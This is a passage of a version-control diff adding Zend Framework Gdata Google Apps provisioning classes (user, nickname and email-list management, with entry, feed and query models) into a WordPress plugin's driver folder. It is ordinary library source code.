+     * Create a new user entry and send it to the Google Apps servers.
+     *
+     * @param string $username The username for the new user.
+     * @param string $givenName The given name for the new user.
+     * @param string $familyName The family name for the new user.
+     * @param string $password The password for the new user as a plaintext string
+     *                 (if $passwordHashFunction is null) or a SHA-1 hashed
+     *                 value (if $passwordHashFunction = 'SHA-1').
+     * @param string $quotaLimitInMB (optional) The quota limit for the new user in MB.
+     * @return Zend_Gdata_Gapps_UserEntry (optional) The new user entry as returned by
+     *                 server.
+     * @throws Zend_Gdata_App_Exception
+     * @throws Zend_Gdata_App_HttpException
+     * @throws Zend_Gdata_Gapps_ServiceException
+     */
+    public function createUser ($username, $givenName, $familyName, $password,
+            $passwordHashFunction = null, $quotaLimitInMB = null) {
+        $user = $this->newUserEntry();
+        $user->login = $this->newLogin();
+        $user->login->username = $username;
+        $user->login->password = $password;
+        $user->login->hashFunctionName = $passwordHashFunction;
+        $user->name = $this->newName();
+        $user->name->givenName = $givenName;
+        $user->name->familyName = $familyName;
+        if ($quotaLimitInMB !== null) {
+            $user->quota = $this->newQuota();
+            $user->quota->limit = $quotaLimitInMB;
+        }
+        return $this->insertUser($user);
+    }
+
+    /**
+     * Retrieve a user based on their username.
+     *
+     * @param string $username The username to search for.
+     * @return Zend_Gdata_Gapps_UserEntry The username to search for, or null
+     *              if no match found.
+     * @throws Zend_Gdata_App_InvalidArgumentException
+     * @throws Zend_Gdata_App_HttpException
+     */
+    public function retrieveUser ($username) {
+        $query = $this->newUserQuery($username);
+        try {
+            $user = $this->getUserEntry($query);
+        } catch (Zend_Gdata_Gapps_ServiceException $e) {
+            // Set the user to null if not found
+            if ($e->hasError(Zend_Gdata_Gapps_Error::ENTITY_DOES_NOT_EXIST)) {
+                $user = null;
+            } else {
+                throw $e;
+            }
+        }
+        return $user;
+    }
+
+    /**
+     * Retrieve a page of users in alphabetical order, starting with the
+     * provided username.
+     *
+     * @param string $startUsername (optional) The first username to retrieve.
+     *          If null or not declared, the page will begin with the first
+     *          user in the domain.
+     * @return Zend_Gdata_Gapps_UserFeed Collection of Zend_Gdata_UserEntry
+     *              objects representing all users in the domain.
+     * @throws Zend_Gdata_App_Exception
+     * @throws Zend_Gdata_App_HttpException
+     * @throws Zend_Gdata_Gapps_ServiceException
+     */
+    public function retrievePageOfUsers ($startUsername = null) {
+        $query = $this->newUserQuery();
+        $query->setStartUsername($startUsername);
+        return $this->getUserFeed($query);
+    }
+
+    /**
+     * Retrieve all users in the current domain. Be aware that
+     * calling this function on a domain with many users will take a
+     * signifigant amount of time to complete. On larger domains this may
+     * may cause execution to timeout without proper precautions in place.
+     *
+     * @return Zend_Gdata_Gapps_UserFeed Collection of Zend_Gdata_UserEntry
+     *              objects representing all users in the domain.
+     * @throws Zend_Gdata_App_Exception
+     * @throws Zend_Gdata_App_HttpException
+     * @throws Zend_Gdata_Gapps_ServiceException
+     */
+    public function retrieveAllUsers () {
+        return $this->retrieveAllEntriesForFeed($this->retrievePageOfUsers());
+    }
+
+    /**
+     * Overwrite a specified username with the provided UserEntry.  The
+     * UserEntry does not need to contain an edit link.
+     *
+     * This method is provided for compliance with the Google Apps
+     * Provisioning API specification. Normally users will instead want to
+     * call UserEntry::save() instead.
+     *
+     * @see Zend_Gdata_App_Entry::save
+     * @param string $username The username whose data will be overwritten.
+     * @param Zend_Gdata_Gapps_UserEntry $userEntry The user entry which
+     *          will be overwritten.
+     * @return Zend_Gdata_Gapps_UserEntry The UserEntry returned by the
+     *          server.
+     * @throws Zend_Gdata_App_Exception
+     * @throws Zend_Gdata_App_HttpException
+     * @throws Zend_Gdata_Gapps_ServiceException
+     */
+    public function updateUser($username, $userEntry) {
+        return $this->updateEntry($userEntry, $this->getBaseUrl() .
+            self::APPS_USER_PATH . '/' . $username);
+    }
+
+    /**
+     * Mark a given user as suspended.
+     *
+     * @param string $username The username associated with the user who
+     *          should be suspended.
+     * @return Zend_Gdata_Gapps_UserEntry The UserEntry for the modified
+     *          user.
+     * @throws Zend_Gdata_App_Exception
+     * @throws Zend_Gdata_App_HttpException
+     * @throws Zend_Gdata_Gapps_ServiceException
+     */
+    public function suspendUser($username) {
+        $user = $this->retrieveUser($username);
+        $user->login->suspended = true;
+        return $user->save();
+    }
+
+    /**
+     * Mark a given user as not suspended.
+     *
+     * @param string $username The username associated with the user who
+     *          should be restored.
+     * @return Zend_Gdata_Gapps_UserEntry The UserEntry for the modified
+     *          user.
+     * @throws Zend_Gdata_App_Exception
+     * @throws Zend_Gdata_App_HttpException
+     * @throws Zend_Gdata_Gapps_ServiceException
+     */
+    public function restoreUser($username) {
+        $user = $this->retrieveUser($username);
+        $user->login->suspended = false;
+        return $user->save();
+    }
+
+    /**
+     * Delete a user by username.
+     *
+     * @param string $username The username associated with the user who
+     *          should be deleted.
+     * @throws Zend_Gdata_App_Exception
+     * @throws Zend_Gdata_App_HttpException
+     * @throws Zend_Gdata_Gapps_ServiceException
+     */
+    public function deleteUser($username) {
+        $this->delete($this->getBaseUrl() . self::APPS_USER_PATH . '/' .
+            $username);
+    }
+
+    /**
+     * Create a nickname for a given user.
+     *
+     * @param string $username The username to which the new nickname should
+     *          be associated.
+     * @param string $nickname The new nickname to be created.
+     * @return Zend_Gdata_Gapps_NicknameEntry The nickname entry which was
+     *          created by the server.
+     * @throws Zend_Gdata_App_Exception
+     * @throws Zend_Gdata_App_HttpException
+     * @throws Zend_Gdata_Gapps_ServiceException
+     */
+    public function createNickname($username, $nickname) {
+        $entry = $this->newNicknameEntry();
+        $nickname = $this->newNickname($nickname);
+        $login = $this->newLogin($username);
+        $entry->nickname = $nickname;
+        $entry->login = $login;
+        return $this->insertNickname($entry);
+    }
+
+    /**
+     * Retrieve the entry for a specified nickname.
+     *
+     * @param string $nickname The nickname to be retrieved.
+     * @return Zend_Gdata_Gapps_NicknameEntry The requested nickname entry.
+     * @throws Zend_Gdata_App_Exception
+     * @throws Zend_Gdata_App_HttpException
+     * @throws Zend_Gdata_Gapps_ServiceException
+     */
+    public function retrieveNickname($nickname) {
+        $query = $this->newNicknameQuery();
+        $query->setNickname($nickname);
+        try {
+            $nickname = $this->getNicknameEntry($query);
+        } catch (Zend_Gdata_Gapps_ServiceException $e) {
+            // Set the nickname to null if not found
+            if ($e->hasError(Zend_Gdata_Gapps_Error::ENTITY_DOES_NOT_EXIST)) {
+                $nickname = null;
+            } else {
+                throw $e;
+            }
+        }
+        return $nickname;
+    }
+
+    /**
+     * Retrieve all nicknames associated with a specific username.
+     *
+     * @param string $username The username whose nicknames should be
+     *          returned.
+     * @return Zend_Gdata_Gapps_NicknameFeed A feed containing all nicknames
+     *          for the given user, or null if
+     * @throws Zend_Gdata_App_Exception
+     * @throws Zend_Gdata_App_HttpException
+     * @throws Zend_Gdata_Gapps_ServiceException
+     */
+    public function retrieveNicknames($username) {
+        $query = $this->newNicknameQuery();
+        $query->setUsername($username);
+        $nicknameFeed = $this->retrieveAllEntriesForFeed(
+            $this->getNicknameFeed($query));
+        return $nicknameFeed;
+    }
+
+    /**
+     * Retrieve a page of nicknames in alphabetical order, starting with the
+     * provided nickname.
+     *
+     * @param string $startNickname (optional) The first nickname to
+     *          retrieve. If null or not declared, the page will begin with
+     *          the first nickname in the domain.
+     * @return Zend_Gdata_Gapps_NicknameFeed Collection of Zend_Gdata_NicknameEntry
+     *              objects representing all nicknames in the domain.
+     * @throws Zend_Gdata_App_Exception
+     * @throws Zend_Gdata_App_HttpException
+     * @throws Zend_Gdata_Gapps_ServiceException
+     */
+    public function retrievePageOfNicknames ($startNickname = null) {
+        $query = $this->newNicknameQuery();
+        $query->setStartNickname($startNickname);
+        return $this->getNicknameFeed($query);
+    }
+
+    /**
+     * Retrieve all nicknames in the current domain. Be aware that
+     * calling this function on a domain with many nicknames will take a
+     * signifigant amount of time to complete. On larger domains this may
+     * may cause execution to timeout without proper precautions in place.
+     *
+     * @return Zend_Gdata_Gapps_NicknameFeed Collection of Zend_Gdata_NicknameEntry
+     *              objects representing all nicknames in the domain.
+     * @throws Zend_Gdata_App_Exception
+     * @throws Zend_Gdata_App_HttpException
+     * @throws Zend_Gdata_Gapps_ServiceException
+     */
+    public function retrieveAllNicknames () {
+        return $this->retrieveAllEntriesForFeed($this->retrievePageOfNicknames());
+    }
+
+    /**
+     * Delete a specified nickname.
+     *
+     * @param string $nickname The name of the nickname to be deleted.
+     * @throws Zend_Gdata_App_Exception
+     * @throws Zend_Gdata_App_HttpException
+     * @throws Zend_Gdata_Gapps_ServiceException
+     */
+    public function deleteNickname($nickname) {
+        $this->delete($this->getBaseUrl() . self::APPS_NICKNAME_PATH . '/' . $nickname);
+    }
+
+    /**
+     * Create a new email list.
+     *
+     * @param string $emailList The name of the email list to be created.
+     * @return Zend_Gdata_Gapps_EmailListEntry The email list entry
+     *          as created on the server.
+     * @throws Zend_Gdata_App_Exception
+     * @throws Zend_Gdata_App_HttpException
+     * @throws Zend_Gdata_Gapps_ServiceException
+     */
+    public function createEmailList($emailList) {
+        $entry = $this->newEmailListEntry();
+        $list = $this->newEmailList();
+        $list->name = $emailList;
+        $entry->emailList = $list;
+        return $this->insertEmailList($entry);
+    }
+
+    /**
+     * Retrieve all email lists associated with a recipient.
+     *
+     * @param string $username The recipient whose associated email lists
+     *          should be returned.
+     * @return Zend_Gdata_Gapps_EmailListFeed The list of email lists found as
+     *          Zend_Gdata_EmailListEntry objects.
+     * @throws Zend_Gdata_App_Exception
+     * @throws Zend_Gdata_App_HttpException
+     * @throws Zend_Gdata_Gapps_ServiceException
+     */
+    public function retrieveEmailLists($recipient) {
+        $query = $this->newEmailListQuery();
+        $query->recipient = $recipient;
+        return $this->getEmailListFeed($query);
+    }
+
+    /**
+     * Retrieve a page of email lists in alphabetical order, starting with the
+     * provided email list.
+     *
+     * @param string $startEmailListName (optional) The first list to
+     *              retrieve. If null or not defined, the page will begin
+     *              with the first email list in the domain.
+     * @return Zend_Gdata_Gapps_EmailListFeed Collection of Zend_Gdata_EmailListEntry
+     *              objects representing all nicknames in the domain.
+     * @throws Zend_Gdata_App_Exception
+     * @throws Zend_Gdata_App_HttpException
+     * @throws Zend_Gdata_Gapps_ServiceException
+     */
+    public function retrievePageOfEmailLists ($startNickname = null) {
+        $query = $this->newEmailListQuery();
+        $query->setStartEmailListName($startNickname);
+        return $this->getEmailListFeed($query);
+    }
+
+    /**
+     * Retrieve all email lists associated with the curent domain. Be aware that
+     * calling this function on a domain with many email lists will take a
+     * signifigant amount of time to complete. On larger domains this may
+     * may cause execution to timeout without proper precautions in place.
+     *
+     * @return Zend_Gdata_Gapps_EmailListFeed The list of email lists found
+     *              as Zend_Gdata_Gapps_EmailListEntry objects.
+     * @throws Zend_Gdata_App_Exception
+     * @throws Zend_Gdata_App_HttpException
+     * @throws Zend_Gdata_Gapps_ServiceException
+     */
+    public function retrieveAllEmailLists() {
+        return $this->retrieveAllEntriesForFeed($this->retrievePageOfEmailLists());
+    }
+
+    /**
+     * Delete a specified email list.
+     *
+     * @param string $emailList The name of the emailList to be deleted.
+     * @throws Zend_Gdata_App_Exception
+     * @throws Zend_Gdata_App_HttpException
+     * @throws Zend_Gdata_Gapps_ServiceException
+     */
+    public function deleteEmailList($emailList) {
+        $this->delete($this->getBaseUrl() . self::APPS_EMAIL_LIST_PATH . '/'
+            . $emailList);
+    }
+
+    /**
+     * Add a specified recipient to an existing emailList.
+     *
+     * @param string $recipientAddress The address of the recipient to be
+     *              added to the email list.
+     * @param string $emailList The name of the email address to which the
+     *              recipient should be added.
+     * @return Zend_Gdata_Gapps_EmailListRecipientEntry The recipient entry
+     *              created by the server.
+     * @throws Zend_Gdata_App_Exception
+     * @throws Zend_Gdata_App_HttpException
+     * @throws Zend_Gdata_Gapps_ServiceException
+     */
+    public function addRecipientToEmailList($recipientAddress, $emailList) {
+        $entry = $this->newEmailListRecipientEntry();
+        $who = $this->newWho();
+        $who->email = $recipientAddress;
+        $entry->who = $who;
+        $address = $this->getBaseUrl() .  self::APPS_EMAIL_LIST_PATH . '/' .
+            $emailList . self::APPS_EMAIL_LIST_RECIPIENT_POSTFIX . '/';
+        return $this->insertEmailListRecipient($entry, $address);
+    }
+
+    /**
+     * Retrieve a page of email list recipients in alphabetical order,
+     * starting with the provided email list recipient.
+     *
+     * @param string $emaiList The email list which should be searched.
+     * @param string $startRecipient (optinal) The address of the first
+     *              recipient, or null to start with the first recipient in
+     *              the list.
+     * @return Zend_Gdata_Gapps_EmailListRecipientFeed Collection of
+     *              Zend_Gdata_EmailListRecipientEntry objects representing all
+     *              recpients in the specified list.
+     * @throws Zend_Gdata_App_Exception
+     * @throws Zend_Gdata_App_HttpException
+     * @throws Zend_Gdata_Gapps_ServiceException
+     */
+    public function retrievePageOfRecipients ($emailList,
+            $startRecipient = null) {
+        $query = $this->newEmailListRecipientQuery();
+        $query->setEmailListName($emailList);
+        $query->setStartRecipient($startRecipient);
+        return $this->getEmailListRecipientFeed($query);
+    }
+
+    /**
+     * Retrieve all recipients associated with an email list. Be aware that
+     * calling this function on a domain with many email lists will take a
+     * signifigant amount of time to complete. On larger domains this may
+     * may cause execution to timeout without proper precautions in place.
+     *
+     * @param string $emaiList The email list which should be searched.
+     * @return Zend_Gdata_Gapps_EmailListRecipientFeed The list of email lists
+     *              found as Zend_Gdata_Gapps_EmailListRecipientEntry objects.
+     * @throws Zend_Gdata_App_Exception
+     * @throws Zend_Gdata_App_HttpException
+     * @throws Zend_Gdata_Gapps_ServiceException
+     */
+    public function retrieveAllRecipients($emailList) {
+        return $this->retrieveAllEntriesForFeed(
+                $this->retrievePageOfRecipients($emailList));
+    }
+
+    /**
+     * Remove a specified recipient from an email list.
+     *
+     * @param string $recipientAddress The recipient to be removed.
+     * @param string $emailList The list from which the recipient should
+     *              be removed.
+     * @throws Zend_Gdata_App_Exception
+     * @throws Zend_Gdata_App_HttpException
+     * @throws Zend_Gdata_Gapps_ServiceException
+     */
+    public function removeRecipientFromEmailList($recipientAddress, $emailList) {
+        $this->delete($this->getBaseUrl() . self::APPS_EMAIL_LIST_PATH . '/'
+            . $emailList . self::APPS_EMAIL_LIST_RECIPIENT_POSTFIX . '/'
+            . $recipientAddress);
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Gapps/EmailListEntry.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Gapps/EmailListEntry.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Gapps/EmailListEntry.php	(revision 44)
@@ -0,0 +1,213 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gapps
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Entry
+ */
+require_once 'Zend/Gdata/Entry.php';
+
+/**
+ * @see Zend_Gdata_Extension_FeedLink
+ */
+require_once 'Zend/Gdata/Extension/FeedLink.php';
+
+/**
+ * @see Zend_Gdata_Gapps_Extension_EmailList
+ */
+require_once 'Zend/Gdata/Gapps/Extension/EmailList.php';
+
+/**
+ * Data model class for a Google Apps Email List Entry.
+ *
+ * Each email list entry describes a single email list within a Google Apps
+ * hosted domain. Email lists may contain multiple recipients, as
+ * described by instances of Zend_Gdata_Gapps_EmailListRecipient. Multiple
+ * entries are contained within instances of Zend_Gdata_Gapps_EmailListFeed.
+ *
+ * To transfer email list entries to and from the Google Apps servers,
+ * including creating new entries, refer to the Google Apps service class,
+ * Zend_Gdata_Gapps.
+ *
+ * This class represents <atom:entry> in the Google Data protocol.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gapps
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Gapps_EmailListEntry extends Zend_Gdata_Entry
+{
+
+    protected $_entryClassName = 'Zend_Gdata_Gapps_EmailListEntry';
+
+    /**
+     * <apps:emailList> child element containing general information about
+     * this email list.
+     *
+     * @var Zend_Gdata_Gapps_Extension_EmailList
+     */
+    protected $_emailList = null;
+
+    /**
+     * <gd:feedLink> element containing information about other feeds
+     * relevant to this entry.
+     *
+     * @var Zend_Gdata_Extension_FeedLink
+     */
+    protected $_feedLink = array();
+
+    /**
+     * Create a new instance.
+     *
+     * @param DOMElement $element (optional) DOMElement from which this
+     *          object should be constructed.
+     */
+    public function __construct($element = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Gapps::$namespaces);
+        parent::__construct($element);
+    }
+
+    /**
+     * Retrieves a DOMElement which corresponds to this element and all
+     * child properties.  This is used to build an entry back into a DOM
+     * and eventually XML text for application storage/persistence.
+     *
+     * @param DOMDocument $doc The DOMDocument used to construct DOMElements
+     * @return DOMElement The DOMElement representing this element and all
+     *          child properties.
+     */
+    public function getDOM($doc = null, $majorVersion = 1, $minorVersion = null)
+    {
+        $element = parent::getDOM($doc, $majorVersion, $minorVersion);
+        if ($this->_emailList !== null) {
+            $element->appendChild($this->_emailList->getDOM($element->ownerDocument));
+        }
+        foreach ($this->_feedLink as $feedLink) {
+            $element->appendChild($feedLink->getDOM($element->ownerDocument));
+        }
+        return $element;
+    }
+
+    /**
+     * Creates individual Entry objects of the appropriate type and
+     * stores them as members of this entry based upon DOM data.
+     *
+     * @param DOMNode $child The DOMNode to process
+     */
+    protected function takeChildFromDOM($child)
+    {
+        $absoluteNodeName = $child->namespaceURI . ':' . $child->localName;
+
+        switch ($absoluteNodeName) {
+            case $this->lookupNamespace('apps') . ':' . 'emailList';
+                $emailList = new Zend_Gdata_Gapps_Extension_EmailList();
+                $emailList->transferFromDOM($child);
+                $this->_emailList = $emailList;
+                break;
+            case $this->lookupNamespace('gd') . ':' . 'feedLink';
+                $feedLink = new Zend_Gdata_Extension_FeedLink();
+                $feedLink->transferFromDOM($child);
+                $this->_feedLink[] = $feedLink;
+                break;
+            default:
+                parent::takeChildFromDOM($child);
+                break;
+        }
+    }
+
+    /**
+     * Retrieve the email list property for this entry.
+     *
+     * @see setEmailList
+     * @return Zend_Gdata_Gapps_Extension_EmailList The requested object
+     *              or null if not set.
+     */
+    public function getEmailList()
+    {
+        return $this->_emailList;
+    }
+
+    /**
+     * Set the email list property for this entry. This property contains
+     * information such as the name of this email list.
+     *
+     * This corresponds to the <apps:emailList> property in the Google Data
+     * protocol.
+     *
+     * @param Zend_Gdata_Gapps_Extension_EmailList $value The desired value
+     *              this element, or null to unset.
+     * @return Zend_Gdata_Gapps_EventEntry Provides a fluent interface
+     */
+    public function setEmailList($value)
+    {
+        $this->_emailList = $value;
+        return $this;
+    }
+
+    /**
+     * Get the feed link property for this entry.
+     *
+     * @see setFeedLink
+     * @param string $rel (optional) The rel value of the link to be found.
+     *          If null, the array of links is returned.
+     * @return mixed If $rel is specified, a Zend_Gdata_Extension_FeedLink
+     *          object corresponding to the requested rel value is returned
+     *          if found, or null if the requested value is not found. If
+     *          $rel is null or not specified, an array of all available
+     *          feed links for this entry is returned, or null if no feed
+     *          links are set.
+     */
+    public function getFeedLink($rel = null)
+    {
+        if ($rel == null) {
+            return $this->_feedLink;
+        } else {
+            foreach ($this->_feedLink as $feedLink) {
+                if ($feedLink->rel == $rel) {
+                    return $feedLink;
+                }
+            }
+            return null;
+        }
+    }
+
+    /**
+     * Set the feed link property for this entry. Feed links provide
+     * information about other feeds associated with this entry.
+     *
+     * This corresponds to the <gd:feedLink> property in the Google Data
+     * protocol.
+     *
+     * @param array $value A collection of Zend_Gdata_Gapps_Extension_FeedLink
+     *          instances representing all feed links for this entry, or
+     *          null to unset.
+     * @return Zend_Gdata_Gapps_EventEntry Provides a fluent interface
+     */
+    public function setFeedLink($value)
+    {
+        $this->_feedLink = $value;
+        return $this;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Gapps/EmailListFeed.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Gapps/EmailListFeed.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Gapps/EmailListFeed.php	(revision 44)
@@ -0,0 +1,52 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gapps
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Feed
+ */
+require_once 'Zend/Gdata/Feed.php';
+
+/**
+ * @see Zend_Gdata_Gapps_EmailListEntry
+ */
+require_once 'Zend/Gdata/Gapps/EmailListEntry.php';
+
+/**
+ * Data model for a collection of Google Apps email list entries, usually 
+ * provided by the Google Apps servers.
+ * 
+ * For information on requesting this feed from a server, see the Google 
+ * Apps service class, Zend_Gdata_Gapps.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gapps
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Gapps_EmailListFeed extends Zend_Gdata_Feed
+{
+    
+    protected $_entryClassName = 'Zend_Gdata_Gapps_EmailListEntry';
+    protected $_feedClassName = 'Zend_Gdata_Gapps_EmailListFeed';
+    
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Gapps/EmailListQuery.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Gapps/EmailListQuery.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Gapps/EmailListQuery.php	(revision 44)
@@ -0,0 +1,186 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gapps
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Gapps_Query
+ */
+require_once('Zend/Gdata/Gapps/Query.php');
+
+/**
+ * Assists in constructing queries for Google Apps email list entries. 
+ * Instances of this class can be provided in many places where a URL is 
+ * required.
+ * 
+ * For information on submitting queries to a server, see the Google Apps
+ * service class, Zend_Gdata_Gapps.
+ * 
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gapps
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Gapps_EmailListQuery extends Zend_Gdata_Gapps_Query
+{
+
+    /**
+     * A string which, if not null, indicates which email list should 
+     * be retrieved by this query.
+     * 
+     * @var string
+     */
+    protected $_emailListName = null;
+
+    /**
+     * Create a new instance.
+     * 
+     * @param string $domain (optional) The Google Apps-hosted domain to use 
+     *          when constructing query URIs.
+     * @param string $emailListName (optional) Value for the emailListName 
+     *          property.
+     * @param string $recipient (optional) Value for the recipient 
+     *          property.
+     * @param string $startEmailListName (optional) Value for the 
+     *          startEmailListName property.
+     */
+    public function __construct($domain = null, $emailListName = null, 
+            $recipient = null, $startEmailListName = null)
+    {
+        parent::__construct($domain);
+        $this->setEmailListName($emailListName);
+        $this->setRecipient($recipient);
+        $this->setStartEmailListName($startEmailListName);
+    }
+
+    /**
+     * Set the email list name to query for. When set, only lists with a name 
+     * matching this value will be returned in search results. Set to 
+     * null to disable filtering by list name.
+     * 
+     * @param string $value The email list name to filter search results by, 
+     *          or null to disable.
+     */
+     public function setEmailListName($value)
+     {
+         $this->_emailListName = $value;
+     }
+
+    /**
+     * Get the email list name to query for. If no name is set, null will be 
+     * returned.
+     * 
+     * @see setEmailListName
+     * @return string The email list name to filter search results by, or null
+     *              if disabled.
+     */
+    public function getEmailListName()
+    {
+        return $this->_emailListName;
+    }
+
+    /**
+     * Set the recipient to query for. When set, only subscribers with an 
+     * email address matching this value will be returned in search results. 
+     * Set to null to disable filtering by username.
+     * 
+     * @param string $value The recipient email address to filter search 
+     *              results by, or null to  disable.
+     */
+    public function setRecipient($value)
+    {
+        if ($value !== null) {
+            $this->_params['recipient'] = $value;
+        }
+        else {
+            unset($this->_params['recipient']);
+        }
+    }
+
+    /**
+     * Get the recipient email address to query for. If no recipient is set, 
+     * null will be returned.
+     * 
+     * @see setRecipient
+     * @return string The recipient email address to filter search results by, 
+     *              or null if disabled.
+     */
+    public function getRecipient()
+    {
+        if (array_key_exists('recipient', $this->_params)) {
+            return $this->_params['recipient'];
+        } else {
+            return null;
+        }
+    }
+
+    /**
+     * Set the first email list which should be displayed when retrieving 
+     * a list of email lists.
+     * 
+     * @param string $value The first email list to be returned, or null to 
+     *              disable.
+     */
+    public function setStartEmailListName($value)
+    {
+        if ($value !== null) {
+            $this->_params['startEmailListName'] = $value;
+        } else {
+            unset($this->_params['startEmailListName']);
+        }
+    }
+
+    /**
+     * Get the first email list which should be displayed when retrieving 
+     * a list of email lists.
+     * 
+     * @return string The first email list to be returned, or null to 
+     *              disable.
+     */
+    public function getStartEmailListName()
+    {
+        if (array_key_exists('startEmailListName', $this->_params)) {
+            return $this->_params['startEmailListName'];
+        } else {
+            return null;
+        }
+    }
+
+    /**
+     * Returns the URL generated for this query, based on it's current 
+     * parameters.
+     * 
+     * @return string A URL generated based on the state of this query.
+     * @throws Zend_Gdata_App_InvalidArgumentException
+     */
+    public function getQueryUrl()
+    {
+        
+        $uri = $this->getBaseUrl();
+        $uri .= Zend_Gdata_Gapps::APPS_EMAIL_LIST_PATH;
+        if ($this->_emailListName !== null) {
+            $uri .= '/' . $this->_emailListName;
+        }
+        $uri .= $this->getQueryString();
+        return $uri;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Gapps/EmailListRecipientEntry.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Gapps/EmailListRecipientEntry.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Gapps/EmailListRecipientEntry.php	(revision 44)
@@ -0,0 +1,145 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gapps
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Entry
+ */
+require_once 'Zend/Gdata/Entry.php';
+
+/**
+ * @see Zend_Gdata_Extension_Who
+ */
+require_once 'Zend/Gdata/Extension/Who.php';
+
+/**
+ * Data model class for a Google Apps Email List Recipient Entry.
+ *
+ * Each instance of this class represents a recipient of an email list
+ * hosted on a Google Apps domain. Each email list may contain multiple
+ * recipients. Email lists themselves are described by
+ * Zend_Gdata_EmailListEntry. Multiple recipient entries are contained within
+ * instances of Zend_Gdata_Gapps_EmailListRecipientFeed.
+ *
+ * To transfer email list recipients to and from the Google Apps servers,
+ * including creating new recipients, refer to the Google Apps service class,
+ * Zend_Gdata_Gapps.
+ *
+ * This class represents <atom:entry> in the Google Data protocol.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gapps
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Gapps_EmailListRecipientEntry extends Zend_Gdata_Entry
+{
+
+    protected $_entryClassName = 'Zend_Gdata_Gapps_EmailListRecipientEntry';
+
+    /**
+     * <gd:who> element used to store the email address of the current
+     * recipient. Only the email property of this element should be
+     * populated.
+     *
+     * @var Zend_Gdata_Extension_Who
+     */
+    protected $_who = null;
+
+    /**
+     * Create a new instance.
+     *
+     * @param DOMElement $element (optional) DOMElement from which this
+     *          object should be constructed.
+     */
+    public function __construct($element = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Gapps::$namespaces);
